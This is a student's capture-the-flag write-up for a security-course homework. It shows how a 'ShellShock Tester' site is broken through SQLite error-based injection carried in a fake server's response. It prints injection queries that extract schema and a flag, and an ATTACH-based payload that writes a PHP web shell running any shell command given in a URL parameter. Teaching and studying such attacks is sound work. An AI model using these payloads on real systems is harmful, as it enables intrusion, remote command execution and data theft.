ShellShock Writeup
Security Programming Homework 4-1
Problem Description
The ShellShock Tester is the website that have some vulnerabilites. According to the text on the website, the vulnerabilities might not be ShellShock :(
At the bottom of the website it says “The response will be collected into database”. Maybe SQL injection will work! After trying various types of SQL injection in that text input field I realized that I’m in the wrong way…
Look Deeper
The ShellShock Tester must send something to the target website to test if it
has bash vulnerability. Using nc
to see what are sent from the ShellShock
Tester.
nc -l -p 5566
And it turns out to be the following result:
GET / HTTP/1.1
User-Agent: () { :;}; echo 'ShellShockTester_atdog';
Host: 140.113.235.153:5566
Accept: */*
Ah-ha! The string { :;}; echo 'ShellShockTester_atdog';
is a typical method to
test if the bash which is currently using is vulnerable to CVE-2014-6271. A
system which is vulnerable will echo the string “ShellShockTester_atdog”.
Similarly, the target website which runs CGI program will return the string if
it is vulnerable. So why don’t we build a fake HTTP server to fool the
ShellShock Tester?
Building a simple HTTP server using python module Flask. It returns the
string when the ShellShock Tester queried for the index page. It seems that the
ShellShock Tester stores the response returned from the target website into its
database using insert
. At the time the type of the database is still unknown.
So I append a single quote right after the string, and the result showed on the ShellShock Tester is:
DATABASE Msg: unrecognized token: "'ShellShockTester_atdog'')"
Response: ShellShockTester_atdog'
Google for the error message, it says that it seems to be SQLite 3. On the other hand, all error messages will showed means that we can use error-based SQL injection.
Error-based SQL Injection
Most of the error-based SQL injection methods are based on MySQL. But this time, it is SQLite… Fortunately, I found a forum post which talks about SQLite error-based injection, how lucky!
First, create a virtual table:
CREATE VIRTUAL TABLE v1 USING fts3(x);
To know which table and column contain the flag:
SELECT * FROM t1 WHERE t1 MATCH '"'||(SELECT sql FROM sqlite_master);
And finally, the flag showed up:
SELECT * FROM t1 WHERE t1 MATCH '"'||(SELECT flag FROM oyoyoyoy_____1111flag);
The queries listed above should be embedded into the sophisticatedly crafted string. Using Python’s format string will look like this:
trick = 'ShellShockTester_atdog\'); {} --'
inj = 'create virtual table v1 using fts3(x);'
resp = trick.format(inj)
Inject a Backdoor
Another method to pwn the ShellShock Tester is to place a backdoor in the directory of the website.
trick = 'ShellShockTester_atdog\'); {} --'
inj = 'ATTACH \'./lol.php\' AS lol; CREATE TABLE lol.pwn (dataz TEXT); INSERT INTO lol.pwn (dataz) VALUES (\'<pre><?php system($_GET["cmd"]); ?></pre>\');'
resp = trick.format(inj)
This will build a backdoor called lol.php
. So anyone can visit that page along
with a “GET” argument cmd
. The value of cmd
could be any shell command. The
reason is that ATTACH
command will attach a SQLite database. If the database
does not exist, it create the database which is a PHP file. The file’s content
contains a short piece of PHP code showed above.
Simply visit the page http://tor.atdog.tw:8888/lol.php?cmd=ls, it will list every file in the current directory. And there is the SQLite database! Download it and grab the flag!
Flag
The flag is:
SecProg{SQL1teInject1on_yoooo}